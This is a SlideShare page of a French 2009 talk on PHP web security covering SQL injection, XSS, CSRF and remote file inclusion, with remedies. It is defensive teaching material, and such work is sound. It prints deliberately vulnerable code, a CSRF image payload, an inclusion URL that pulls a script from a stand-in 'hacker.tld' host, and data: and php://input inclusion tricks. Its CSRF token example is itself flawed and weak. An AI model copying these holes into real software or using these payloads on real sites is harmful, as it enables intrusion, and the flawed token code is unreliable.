SlideShare une entreprise Scribd logo
1  sur  29
J’ai des trous, des p’tits trous,
   encore des p’tits trous...




Sécurité des applications web en PHP - Sébastien Pauchet et Frank Taillandier - 10 octobre 2009 - Paris Web
Sébastien Pauchet
      seb@automne.ws - @Automne_WS

‣   Responsable technique chez WS interactive


‣   Architecte logiciel du CMS open-source Automne


‣   Ingénieur PHP5 certifié par Zend


‣   10 ans de développement Web
Frank Taillandier
 frank.taillandier@ac-toulouse.fr - @DirtyF

‣ Chef de projet web
‣ «Expert» en accessibilité web
‣ Contributeur au CMS open-source Automne
Sécurité ?
Sécurité : définition
« Les principes de la sécurité d'une application sont un ensemble de
propriétés souhaitables de comportement, de design et de mise en
oeuvre qui contribuent à réduire la probabilité de la réalisation et de
l'impact de menaces. Les principes de sécurité sont indépendants du
langage et de l'architecture et peuvent être un levier dans la plupart
des méthodologies de développement pour concevoir et construire des
applications.
En considérant ces principes nous pouvons prendre des décisions
d'architecture et d'implémentation et identifier les faiblesses possibles
des systèmes. »

         Source : OWASP (Open Web Application Security Project)
97% des sites web sont hautement vulnérables
           http://www.webappsec.org/projects/statistics/
Points essentiels
1.   Mettre en place une défense en profondeur (sécurité à tous les niveaux)
2.   Minimiser la surface d’attaque
3.   Minimiser la portée des erreurs
4.   Exécuter avec le minimum de droits
5.   Eviter de baser uniquement la sécurité sur un système fermé
6.   Garder un système de sécurité simple (KISS)
7.   Pouvoir détecter les intrusions (garder une verbosité suffisante des
     fichiers journaux)
8.   Ne jamais faire confiance à l’infrastructure
9.   Ne pas se fier aux utilisateurs
10. Mettre en place une sécurité par défaut psychologiquement acceptable
Ouvert 24/24
Les 3 phases d’un exploit
 Détection

 •   Recherche d’informations liées aux applications et au système

 •   Tests automatisés

 Les attaques les plus critiques

 •   Injection SQL : 8% des sites web vulnérables         (Source : stats WASC 2007)

 •   XSS (Cross site scripting) : 31,5% des sites web vulnérables

 •   CSRF (Cross site request forgery)

 •   RFI (Remote file inclusion)

 Exploitation

 •   Prendre le contrôle de votre infrastructure (accès au serveur)

 •   Obtenir vos données

 •   Modifier vos données

 •   Vous empêcher de communiquer (DOS : denial of service)
Les attaques
Injections SQL
Injection SQL

Différents types d’injection : SQL, LDAP, XPath, XSLT,
HTML, XML, commandes systèmes et beaucoup
d’autres.

Définition : Les attaquants dupent l'interpréteur en
lui faisant exécuter des commandes non prévues.

Conséquences : Permettre de créer, lire, modifier ou
effacer les données de l’application.
Injection SQL


Exemple
Si la donnée provenant d’un utilisateur est envoyée à un interpréteur sans aucune validation
ou encodage, l’application est vulnérable :


$sql = "SELECT * FROM table WHERE id = '" . $_REQUEST ['id’] . "’";
Injection SQL

Solutions
• Validation de toutes les données d’entrée.
• Evitez les messages d’erreurs détaillés.
• Utilisez de préférence des requêtes SQL stockées ou
  les requêtes paramètrées.
• N’utilisez pas les fonctions d’échappements simples.
XSS : cross-site scripting
XSS : cross-site scripting

Définition : XSS consiste à injecter du code HTML
ou Javascript sur un site.

Conséquences : Détourner des sessions utilisateur,
défigurer des sites web, insérer du contenu hostile,
effectuer des attaques par phishing, et prendre le
contrôle du navigateur de l'utilisateur.
XSS : cross-site scripting

Par réflexion : une page renverra à l'utilisateur des
données fournies directement à celui-ci :

echo $_REQUEST ['userinput'];

Par stockage : stocke des donées hostiles, et
ultérieurement, affiche les données non filtrées à l'utilisateur.

Par injection DOM : le code JavaScript et les variables du
site sont manipulés plutôt que les éléments HTML.
XSS : cross-site scripting

Solutions

Validation d’entrée : valider la longueur, le type et la syntaxe de toute entrée
saisie avant d'accepter l'affichage ou le stockage des données. Accepter seulement
quelque chose de connu (whitelist). Rejeter toute entrée invalide.

Encodage des données en sortie : Assurez-vous que toutes les données
écrites par l'utilisateur sont convenablement codées par entité avant le rendu.

Pas de blacklist pour détecter XSS. La recherche et le remplacement de juste
quelques caractères ("<" ">" et d'autres caractères ou expressions semblables telles
que "script") est faible. Même un tag non vérifié "<b>" est dangereux dans certains
contextes.

Plus d’exemples sur http://ha.ckers.org/xss.html
CSRF : cross-site request forgery
CSRF : cross-site request forgery
Définition
Forcer le navigateur d'une victime ayant une session ouverte sur une
application web à effectuer une requête sur cette dernière application.
A la différence du XSS qui exploite la confiance d’un utilisateur envers un
site, CSRF exploite la confiance d’un utilisateur envers son navigateur.

Conséquences

Toute application web qui ...

• ne dispose pas de vérifications d'autorisation (confirmation, jeton) avant
  d'effectuer des actions,
• autorise des requêtes basées sur une authentification automatique (cookies de
  session, ‘Se souvenir de moi’),
... est vulnérable.
CSRF : cross-site request forgery
•   Bob est l'administrateur d'un forum, il y est connecté par un système de
    sessions.

•   Alice est un membre, elle veut supprimer un des messages.
    Elle n'a pas les droits nécessaires avec son compte.
    Elle va utiliser celui de Bob grâce à une attaque de type CSRF.

•   Alice arrive à connaître le lien qui permet de supprimer le message.

•   Alice envoie à Bob un email contenant une pseudo-image à afficher :

    <img src="http://bob.com/delete.php?post=id" />

•   Le navigateur de Bob affiche la pseudo-image ce qui actionne le lien.
    Ne reconnaissant pas le type d'image associé, le navigateur n'affiche rien.

•   Bob ne sait pas qu'Alice vient de lui faire supprimer un message.
CSRF : Cross Site Request Forgery
Solution

•   Ne pas utiliser de requête HTTP GET pour effectuer des actions.

•   Demander des confirmations à l'utilisateur pour les actions critiques.

•   Utiliser des jetons de validité dans les formulaires :
    <?
         $token = sha1(rand(0, 99999));
         $token_name = sha1(rand(0, 99999));
         $_SESSION['token'] = $token;
         $_SESSION['token_name'] = token_name();
    ?>
    <form action="/add_post.php" method="post">
       <input type="hidden" name="<?php echo $token_name; ?>"
    value="<?php echo $token; ?>" />
       <p>Subject: <input type="text" name="post_subject" /></p>
       <p>Message: <textarea name="post_message"></textarea></p>
       <p><input type="submit" value="Add Post" /></p>
    </form>

•   Pour les requêtes Ajax : utiliser un header HTTP spécifique à votre
    application pour signer la requête.
RFI : Remote File Inclusion
RFI : Remote File Inclusion


Définition : L'inclusion de fichier distant permet d'exécuter son propre code sur
votre serveur en exploitant la possibilité de l'inclure directement dans votre site.

Conséquences : Fournir des données d’entrée (comme des URLs) dans des
fonctions de gestion de fichiers non vérifiées peut conduire :

• à l’exécution de code distant,
• à l’installation de rootkit pour compromettre votre système.
Cette attaque est particulièrement répandue sur PHP, un soin extrême doit être
pris avec tout flux ou toute fonction de fichier afin de s'assurer que l'entrée fournie
par l'utilisateur n'influence pas les noms de fichiers.
RFI : Remote File Inclusion
  Avant PHP 4.2 (ou allow_url_fopen + register_globals activé) :

        include $_SERVER[‘DOCUMENT_ROOT’].’/fichier.php’;

  Vulnérable avec l’URL :

        http://site.tld/file.php?_SERVER[DOCUMENT_ROOT]=http://hacker.tld/
        script.txt?

  Toute version de PHP (quelque soit la configuration) :

        include $_REQUEST['filename’];

Exemple 1: Utiliser php://input pour lire les données POST

  	     <?php
        // L’inclusion suivante va inclure et exécuter toutes
        // les données POST
        include "php://input";
        ?>

Exemple 2: Utiliser data: pour inclure du code arbitraire

  	     <?php
        // L’inclusion suivante va exécuter le code encodé en
        // base64 : Ici, un phpinfo()
        include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+";
        ?>
RFI : Remote File Inclusion

Solution

• Filtrer les entrées utilisateurs (whitelist).
• Sécuriser les configurations (désactiver allow_url_fopen, allow_url_include
  (PHP 5.2), register_globals).

• Ne pas inclure de fichiers depuis une variable.
• Vérifiez que les fonctions de fichiers et de gestion de flux sont soigneusement
  contrôlées. Les données utilisateurs ne doivent pas être utilisées par des
  fonctions prenant un fichier en argument.
  Exemple, les fonctions suivantes :
  include() include_once() require() require_once() fopen()
  imagecreatefromXXX() file() file_get_contents() copy() delete()
  unlink() upload_tmp_dir() $_FILES move_uploaded_file()
Conclusion
Pour les développeurs

• Pensez à la sécurité lors de la conception de vos applications ;
• Adopter les standards de codage ;
• Refactorisez le code existant pour utiliser des conceptions plus sûres ;
• Testez votre code pour identifier tout défaut de sécurité ;
• Consultez les ouvrages de références.
Pour les décideurs

•   Employez des développeurs qui ont une réelle ou forte expérience dans la
    sécurité ou formez-les !

•   Faites tester les défauts de sécurité tout au long du projet : conception,
    construction, test et déploiement ;

•   Allouez des ressources, du budget et du temps dans le plan projet pour
    remédier aux problèmes de sécurité ;

•   Considérez l'utilisation d'auditeurs de code tiers.
Ressources
•   OWASP : Open Web Application Security Project

•   Les dix vulnérabilités de sécurité applicatives web les plus critiques 2007

•   Adam Barth, Collin Jackson, and John C. Mitchell : Robust defenses for CSRF

•   http://ha.ckerz.org : Web Application Security Lab

•   http://sectools.org/ : logiciels de test automatisés (Nikto, WebScarab, Acunetix,
    WebInspect,)

•   http://www.php.net/manual/security

•   MISC (Multi-system & Internet Security Cookbook) est un magazine bimestriel
    français spécialisé dans la sécurité informatique
Crédits photos
•   Impact : http://www.flickr.com/photos/dirtyf/3369077142/

•   Security Guard : http://www.flickr.com/photos/f1rstborn/2440157127/

•   Hi Jacking Hot Spot : Luka Skracic

•   Open : http://www.flickr.com/photos/mag3737/1914076277/

•   Pirates : http://www.flickr.com/photos/joriel/3230590513/

•   Injections : http://www.flickr.com/photos/limowreck666/223731385/

•   Bike air : http://www.flickr.com/photos/dirtyf/3518547212/

•   Surf fail : http://www.flickr.com/photos/edwindejongh/369296684/

•   Remote : http://www.flickr.com/photos/cayusa/2530412232/

Contenu connexe

Tendances

Presentation des failles_de_securite
Presentation des failles_de_securitePresentation des failles_de_securite
Presentation des failles_de_securite
Borni Dhifi
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID Lyon
Sébastien GIORIA
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
Sébastien GIORIA
 
Api win32 ancestrales pour chevaux de troie hyper furtifs
Api win32 ancestrales pour chevaux de troie hyper furtifsApi win32 ancestrales pour chevaux de troie hyper furtifs
Api win32 ancestrales pour chevaux de troie hyper furtifs
UltraUploader
 

Tendances (19)

Failles de sécurité
Failles de sécuritéFailles de sécurité
Failles de sécurité
 
Les principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuellesLes principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuelles
 
Sécuriser mes applications avec ZF2
Sécuriser mes applications avec ZF2Sécuriser mes applications avec ZF2
Sécuriser mes applications avec ZF2
 
Presentation des failles_de_securite
Presentation des failles_de_securitePresentation des failles_de_securite
Presentation des failles_de_securite
 
Sécurité des applications web
Sécurité des applications webSécurité des applications web
Sécurité des applications web
 
Durcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebDurcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative Web
 
Epitech securite-2012.key
Epitech securite-2012.keyEpitech securite-2012.key
Epitech securite-2012.key
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications Web
 
Les attaques par injection sql
Les attaques par injection sqlLes attaques par injection sql
Les attaques par injection sql
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID Lyon
 
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicatives
 
La Sécurité Sur Le Web
La Sécurité Sur Le WebLa Sécurité Sur Le Web
La Sécurité Sur Le Web
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
 
Securite web is_ima
Securite web is_imaSecurite web is_ima
Securite web is_ima
 
Les principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuellesLes principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuelles
 
ReST API Security
ReST API SecurityReST API Security
ReST API Security
 
20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatif20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatif
 
Api win32 ancestrales pour chevaux de troie hyper furtifs
Api win32 ancestrales pour chevaux de troie hyper furtifsApi win32 ancestrales pour chevaux de troie hyper furtifs
Api win32 ancestrales pour chevaux de troie hyper furtifs
 

En vedette

Powerpoint réalité augmentée
Powerpoint réalité augmentéePowerpoint réalité augmentée
Powerpoint réalité augmentée
Manon Bass
 
20140608 tiempo-para-ver (1)
20140608 tiempo-para-ver (1)20140608 tiempo-para-ver (1)
20140608 tiempo-para-ver (1)
Regiana Batista
 
Rien que de l'eau relaxant
Rien que de l'eau relaxantRien que de l'eau relaxant
Rien que de l'eau relaxant
filipj2000
 
Lasie du sud_est
Lasie du sud_estLasie du sud_est
Lasie du sud_est
filipj2000
 
Bilan activite 2009_atelier_passerelle
Bilan activite 2009_atelier_passerelleBilan activite 2009_atelier_passerelle
Bilan activite 2009_atelier_passerelle
xtofr
 
Réseaux et médias sociaux (Biblioquest Saison 2 - Episode 1)
Réseaux et médias sociaux (Biblioquest Saison 2 - Episode 1)Réseaux et médias sociaux (Biblioquest Saison 2 - Episode 1)
Réseaux et médias sociaux (Biblioquest Saison 2 - Episode 1)
Pauline Moirez
 
La guyana française
La guyana françaiseLa guyana française
La guyana française
monkeysrule
 

En vedette (20)

Drupal, les hackers, la sécurité & les (très) grands comptes
Drupal, les hackers, la sécurité & les (très) grands comptesDrupal, les hackers, la sécurité & les (très) grands comptes
Drupal, les hackers, la sécurité & les (très) grands comptes
 
Se préparer aux cyberattaques. Brochure : Mettre en oeuvre la bonne stratégi...
Se préparer aux cyberattaques.  Brochure : Mettre en oeuvre la bonne stratégi...Se préparer aux cyberattaques.  Brochure : Mettre en oeuvre la bonne stratégi...
Se préparer aux cyberattaques. Brochure : Mettre en oeuvre la bonne stratégi...
 
La réalité augmentée
La réalité augmentéeLa réalité augmentée
La réalité augmentée
 
Powerpoint réalité augmentée
Powerpoint réalité augmentéePowerpoint réalité augmentée
Powerpoint réalité augmentée
 
Realite augmentee et qr codes en éducation
Realite augmentee et qr codes en éducationRealite augmentee et qr codes en éducation
Realite augmentee et qr codes en éducation
 
Enjeux et évolutions de la sécurite informatique
Enjeux et évolutions de la sécurite informatiqueEnjeux et évolutions de la sécurite informatique
Enjeux et évolutions de la sécurite informatique
 
Sécurité des systèmes d'information
Sécurité des systèmes d'informationSécurité des systèmes d'information
Sécurité des systèmes d'information
 
20140608 tiempo-para-ver (1)
20140608 tiempo-para-ver (1)20140608 tiempo-para-ver (1)
20140608 tiempo-para-ver (1)
 
Rien que de l'eau relaxant
Rien que de l'eau relaxantRien que de l'eau relaxant
Rien que de l'eau relaxant
 
Un site marchand pour mon entreprise ?
Un site marchand pour mon entreprise ?Un site marchand pour mon entreprise ?
Un site marchand pour mon entreprise ?
 
Lasie du sud_est
Lasie du sud_estLasie du sud_est
Lasie du sud_est
 
COMO INGRESAR A LAS AULAS VIRTUALES DE UNIMINUTO
COMO INGRESAR A LAS AULAS VIRTUALES DE UNIMINUTOCOMO INGRESAR A LAS AULAS VIRTUALES DE UNIMINUTO
COMO INGRESAR A LAS AULAS VIRTUALES DE UNIMINUTO
 
Emarketing
EmarketingEmarketing
Emarketing
 
Bilan activite 2009_atelier_passerelle
Bilan activite 2009_atelier_passerelleBilan activite 2009_atelier_passerelle
Bilan activite 2009_atelier_passerelle
 
Réseaux et médias sociaux (Biblioquest Saison 2 - Episode 1)
Réseaux et médias sociaux (Biblioquest Saison 2 - Episode 1)Réseaux et médias sociaux (Biblioquest Saison 2 - Episode 1)
Réseaux et médias sociaux (Biblioquest Saison 2 - Episode 1)
 
Ma tribu sur LinkedIn
Ma tribu sur LinkedInMa tribu sur LinkedIn
Ma tribu sur LinkedIn
 
Présentation Bibliothèque Mortagne au Perche - JE 25 juin 2015 Le Havre
Présentation Bibliothèque Mortagne au Perche - JE 25 juin 2015 Le HavrePrésentation Bibliothèque Mortagne au Perche - JE 25 juin 2015 Le Havre
Présentation Bibliothèque Mortagne au Perche - JE 25 juin 2015 Le Havre
 
La inmediación crítica
La inmediación críticaLa inmediación crítica
La inmediación crítica
 
Diodos
DiodosDiodos
Diodos
 
La guyana française
La guyana françaiseLa guyana française
La guyana française
 

Similaire à Securitedesapplications 091011120426-phpapp02

Sécurité des Applications WEB -LEVEL1
 Sécurité des Applications WEB-LEVEL1 Sécurité des Applications WEB-LEVEL1
Sécurité des Applications WEB -LEVEL1
Tarek MOHAMED
 
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...
Normandie Web Xperts
 
Meetup Drupal Lyon - Sécuriser un site drupal
Meetup Drupal Lyon - Sécuriser un site drupalMeetup Drupal Lyon - Sécuriser un site drupal
Meetup Drupal Lyon - Sécuriser un site drupal
Aurelien Navarre
 
Soutenance Zend Framework vs Symfony
Soutenance Zend Framework vs SymfonySoutenance Zend Framework vs Symfony
Soutenance Zend Framework vs Symfony
Vincent Composieux
 
Sécurisation d'un site internet
Sécurisation d'un site internetSécurisation d'un site internet
Sécurisation d'un site internet
waggaland
 
#J2Code2018 - Mettez du feu à vos applications avec CodeIgniter
#J2Code2018 - Mettez du feu à vos applications avec CodeIgniter#J2Code2018 - Mettez du feu à vos applications avec CodeIgniter
#J2Code2018 - Mettez du feu à vos applications avec CodeIgniter
Atsé François-Xavier KOBON
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
Sébastien GIORIA
 

Similaire à Securitedesapplications 091011120426-phpapp02 (20)

Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]
 
Sécurité des Applications WEB -LEVEL1
 Sécurité des Applications WEB-LEVEL1 Sécurité des Applications WEB-LEVEL1
Sécurité des Applications WEB -LEVEL1
 
Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications web
 
ReST API Security
ReST API SecurityReST API Security
ReST API Security
 
La securite pour les développeurs au RMLL 2015
La securite pour les développeurs au RMLL 2015La securite pour les développeurs au RMLL 2015
La securite pour les développeurs au RMLL 2015
 
PSES - La securite pour les développeurs
PSES - La securite pour les développeursPSES - La securite pour les développeurs
PSES - La securite pour les développeurs
 
La sécurité des applications avec ESAPI
La sécurité des applications avec ESAPILa sécurité des applications avec ESAPI
La sécurité des applications avec ESAPI
 
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...
 
Sécurité des Applications Web avec Json Web Token (JWT)
Sécurité des Applications Web avec Json Web Token (JWT)Sécurité des Applications Web avec Json Web Token (JWT)
Sécurité des Applications Web avec Json Web Token (JWT)
 
Meetup Drupal Lyon - Sécuriser un site drupal
Meetup Drupal Lyon - Sécuriser un site drupalMeetup Drupal Lyon - Sécuriser un site drupal
Meetup Drupal Lyon - Sécuriser un site drupal
 
Tuto atelier securisation_site_web
Tuto atelier securisation_site_webTuto atelier securisation_site_web
Tuto atelier securisation_site_web
 
Introduction à La Sécurité Informatique 2/2
Introduction à La Sécurité Informatique 2/2Introduction à La Sécurité Informatique 2/2
Introduction à La Sécurité Informatique 2/2
 
Soutenance Zend Framework vs Symfony
Soutenance Zend Framework vs SymfonySoutenance Zend Framework vs Symfony
Soutenance Zend Framework vs Symfony
 
20100114 Waf V0.7
20100114 Waf V0.720100114 Waf V0.7
20100114 Waf V0.7
 
ASFWS 2013 - Optimiser ses attaques Web avec Burp par Nicolas Grégoire
ASFWS 2013 - Optimiser ses attaques Web avec Burp par Nicolas GrégoireASFWS 2013 - Optimiser ses attaques Web avec Burp par Nicolas Grégoire
ASFWS 2013 - Optimiser ses attaques Web avec Burp par Nicolas Grégoire
 
Sécurisation d'un site internet
Sécurisation d'un site internetSécurisation d'un site internet
Sécurisation d'un site internet
 
#J2Code2018 - Mettez du feu à vos applications avec CodeIgniter
#J2Code2018 - Mettez du feu à vos applications avec CodeIgniter#J2Code2018 - Mettez du feu à vos applications avec CodeIgniter
#J2Code2018 - Mettez du feu à vos applications avec CodeIgniter
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
 
La sécurite pour les developpeurs - OWF
La sécurite pour les developpeurs - OWFLa sécurite pour les developpeurs - OWF
La sécurite pour les developpeurs - OWF
 
OWASP TOP 10 Proactive
OWASP TOP 10 ProactiveOWASP TOP 10 Proactive
OWASP TOP 10 Proactive
 

Securitedesapplications 091011120426-phpapp02

  • 1. J’ai des trous, des p’tits trous, encore des p’tits trous... Sécurité des applications web en PHP - Sébastien Pauchet et Frank Taillandier - 10 octobre 2009 - Paris Web
  • 2. Sébastien Pauchet seb@automne.ws - @Automne_WS ‣ Responsable technique chez WS interactive ‣ Architecte logiciel du CMS open-source Automne ‣ Ingénieur PHP5 certifié par Zend ‣ 10 ans de développement Web
  • 3. Frank Taillandier frank.taillandier@ac-toulouse.fr - @DirtyF ‣ Chef de projet web ‣ «Expert» en accessibilité web ‣ Contributeur au CMS open-source Automne
  • 5. Sécurité : définition « Les principes de la sécurité d'une application sont un ensemble de propriétés souhaitables de comportement, de design et de mise en oeuvre qui contribuent à réduire la probabilité de la réalisation et de l'impact de menaces. Les principes de sécurité sont indépendants du langage et de l'architecture et peuvent être un levier dans la plupart des méthodologies de développement pour concevoir et construire des applications. En considérant ces principes nous pouvons prendre des décisions d'architecture et d'implémentation et identifier les faiblesses possibles des systèmes. » Source : OWASP (Open Web Application Security Project)
  • 6. 97% des sites web sont hautement vulnérables http://www.webappsec.org/projects/statistics/
  • 7. Points essentiels 1. Mettre en place une défense en profondeur (sécurité à tous les niveaux) 2. Minimiser la surface d’attaque 3. Minimiser la portée des erreurs 4. Exécuter avec le minimum de droits 5. Eviter de baser uniquement la sécurité sur un système fermé 6. Garder un système de sécurité simple (KISS) 7. Pouvoir détecter les intrusions (garder une verbosité suffisante des fichiers journaux) 8. Ne jamais faire confiance à l’infrastructure 9. Ne pas se fier aux utilisateurs 10. Mettre en place une sécurité par défaut psychologiquement acceptable
  • 9. Les 3 phases d’un exploit Détection • Recherche d’informations liées aux applications et au système • Tests automatisés Les attaques les plus critiques • Injection SQL : 8% des sites web vulnérables (Source : stats WASC 2007) • XSS (Cross site scripting) : 31,5% des sites web vulnérables • CSRF (Cross site request forgery) • RFI (Remote file inclusion) Exploitation • Prendre le contrôle de votre infrastructure (accès au serveur) • Obtenir vos données • Modifier vos données • Vous empêcher de communiquer (DOS : denial of service)
  • 12. Injection SQL Différents types d’injection : SQL, LDAP, XPath, XSLT, HTML, XML, commandes systèmes et beaucoup d’autres. Définition : Les attaquants dupent l'interpréteur en lui faisant exécuter des commandes non prévues. Conséquences : Permettre de créer, lire, modifier ou effacer les données de l’application.
  • 13. Injection SQL Exemple Si la donnée provenant d’un utilisateur est envoyée à un interpréteur sans aucune validation ou encodage, l’application est vulnérable : $sql = "SELECT * FROM table WHERE id = '" . $_REQUEST ['id’] . "’";
  • 14. Injection SQL Solutions • Validation de toutes les données d’entrée. • Evitez les messages d’erreurs détaillés. • Utilisez de préférence des requêtes SQL stockées ou les requêtes paramètrées. • N’utilisez pas les fonctions d’échappements simples.
  • 15. XSS : cross-site scripting
  • 16. XSS : cross-site scripting Définition : XSS consiste à injecter du code HTML ou Javascript sur un site. Conséquences : Détourner des sessions utilisateur, défigurer des sites web, insérer du contenu hostile, effectuer des attaques par phishing, et prendre le contrôle du navigateur de l'utilisateur.
  • 17. XSS : cross-site scripting Par réflexion : une page renverra à l'utilisateur des données fournies directement à celui-ci : echo $_REQUEST ['userinput']; Par stockage : stocke des donées hostiles, et ultérieurement, affiche les données non filtrées à l'utilisateur. Par injection DOM : le code JavaScript et les variables du site sont manipulés plutôt que les éléments HTML.
  • 18. XSS : cross-site scripting Solutions Validation d’entrée : valider la longueur, le type et la syntaxe de toute entrée saisie avant d'accepter l'affichage ou le stockage des données. Accepter seulement quelque chose de connu (whitelist). Rejeter toute entrée invalide. Encodage des données en sortie : Assurez-vous que toutes les données écrites par l'utilisateur sont convenablement codées par entité avant le rendu. Pas de blacklist pour détecter XSS. La recherche et le remplacement de juste quelques caractères ("<" ">" et d'autres caractères ou expressions semblables telles que "script") est faible. Même un tag non vérifié "<b>" est dangereux dans certains contextes. Plus d’exemples sur http://ha.ckers.org/xss.html
  • 19. CSRF : cross-site request forgery
  • 20. CSRF : cross-site request forgery Définition Forcer le navigateur d'une victime ayant une session ouverte sur une application web à effectuer une requête sur cette dernière application. A la différence du XSS qui exploite la confiance d’un utilisateur envers un site, CSRF exploite la confiance d’un utilisateur envers son navigateur. Conséquences Toute application web qui ... • ne dispose pas de vérifications d'autorisation (confirmation, jeton) avant d'effectuer des actions, • autorise des requêtes basées sur une authentification automatique (cookies de session, ‘Se souvenir de moi’), ... est vulnérable.
  • 21. CSRF : cross-site request forgery • Bob est l'administrateur d'un forum, il y est connecté par un système de sessions. • Alice est un membre, elle veut supprimer un des messages. Elle n'a pas les droits nécessaires avec son compte. Elle va utiliser celui de Bob grâce à une attaque de type CSRF. • Alice arrive à connaître le lien qui permet de supprimer le message. • Alice envoie à Bob un email contenant une pseudo-image à afficher : <img src="http://bob.com/delete.php?post=id" /> • Le navigateur de Bob affiche la pseudo-image ce qui actionne le lien. Ne reconnaissant pas le type d'image associé, le navigateur n'affiche rien. • Bob ne sait pas qu'Alice vient de lui faire supprimer un message.
  • 22. CSRF : Cross Site Request Forgery Solution • Ne pas utiliser de requête HTTP GET pour effectuer des actions. • Demander des confirmations à l'utilisateur pour les actions critiques. • Utiliser des jetons de validité dans les formulaires : <? $token = sha1(rand(0, 99999)); $token_name = sha1(rand(0, 99999)); $_SESSION['token'] = $token; $_SESSION['token_name'] = token_name(); ?> <form action="/add_post.php" method="post"> <input type="hidden" name="<?php echo $token_name; ?>" value="<?php echo $token; ?>" /> <p>Subject: <input type="text" name="post_subject" /></p> <p>Message: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Add Post" /></p> </form> • Pour les requêtes Ajax : utiliser un header HTTP spécifique à votre application pour signer la requête.
  • 23. RFI : Remote File Inclusion
  • 24. RFI : Remote File Inclusion Définition : L'inclusion de fichier distant permet d'exécuter son propre code sur votre serveur en exploitant la possibilité de l'inclure directement dans votre site. Conséquences : Fournir des données d’entrée (comme des URLs) dans des fonctions de gestion de fichiers non vérifiées peut conduire : • à l’exécution de code distant, • à l’installation de rootkit pour compromettre votre système. Cette attaque est particulièrement répandue sur PHP, un soin extrême doit être pris avec tout flux ou toute fonction de fichier afin de s'assurer que l'entrée fournie par l'utilisateur n'influence pas les noms de fichiers.
  • 25. RFI : Remote File Inclusion Avant PHP 4.2 (ou allow_url_fopen + register_globals activé) : include $_SERVER[‘DOCUMENT_ROOT’].’/fichier.php’; Vulnérable avec l’URL : http://site.tld/file.php?_SERVER[DOCUMENT_ROOT]=http://hacker.tld/ script.txt? Toute version de PHP (quelque soit la configuration) : include $_REQUEST['filename’]; Exemple 1: Utiliser php://input pour lire les données POST <?php // L’inclusion suivante va inclure et exécuter toutes // les données POST include "php://input"; ?> Exemple 2: Utiliser data: pour inclure du code arbitraire <?php // L’inclusion suivante va exécuter le code encodé en // base64 : Ici, un phpinfo() include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+"; ?>
  • 26. RFI : Remote File Inclusion Solution • Filtrer les entrées utilisateurs (whitelist). • Sécuriser les configurations (désactiver allow_url_fopen, allow_url_include (PHP 5.2), register_globals). • Ne pas inclure de fichiers depuis une variable. • Vérifiez que les fonctions de fichiers et de gestion de flux sont soigneusement contrôlées. Les données utilisateurs ne doivent pas être utilisées par des fonctions prenant un fichier en argument. Exemple, les fonctions suivantes : include() include_once() require() require_once() fopen() imagecreatefromXXX() file() file_get_contents() copy() delete() unlink() upload_tmp_dir() $_FILES move_uploaded_file()
  • 27. Conclusion Pour les développeurs • Pensez à la sécurité lors de la conception de vos applications ; • Adopter les standards de codage ; • Refactorisez le code existant pour utiliser des conceptions plus sûres ; • Testez votre code pour identifier tout défaut de sécurité ; • Consultez les ouvrages de références. Pour les décideurs • Employez des développeurs qui ont une réelle ou forte expérience dans la sécurité ou formez-les ! • Faites tester les défauts de sécurité tout au long du projet : conception, construction, test et déploiement ; • Allouez des ressources, du budget et du temps dans le plan projet pour remédier aux problèmes de sécurité ; • Considérez l'utilisation d'auditeurs de code tiers.
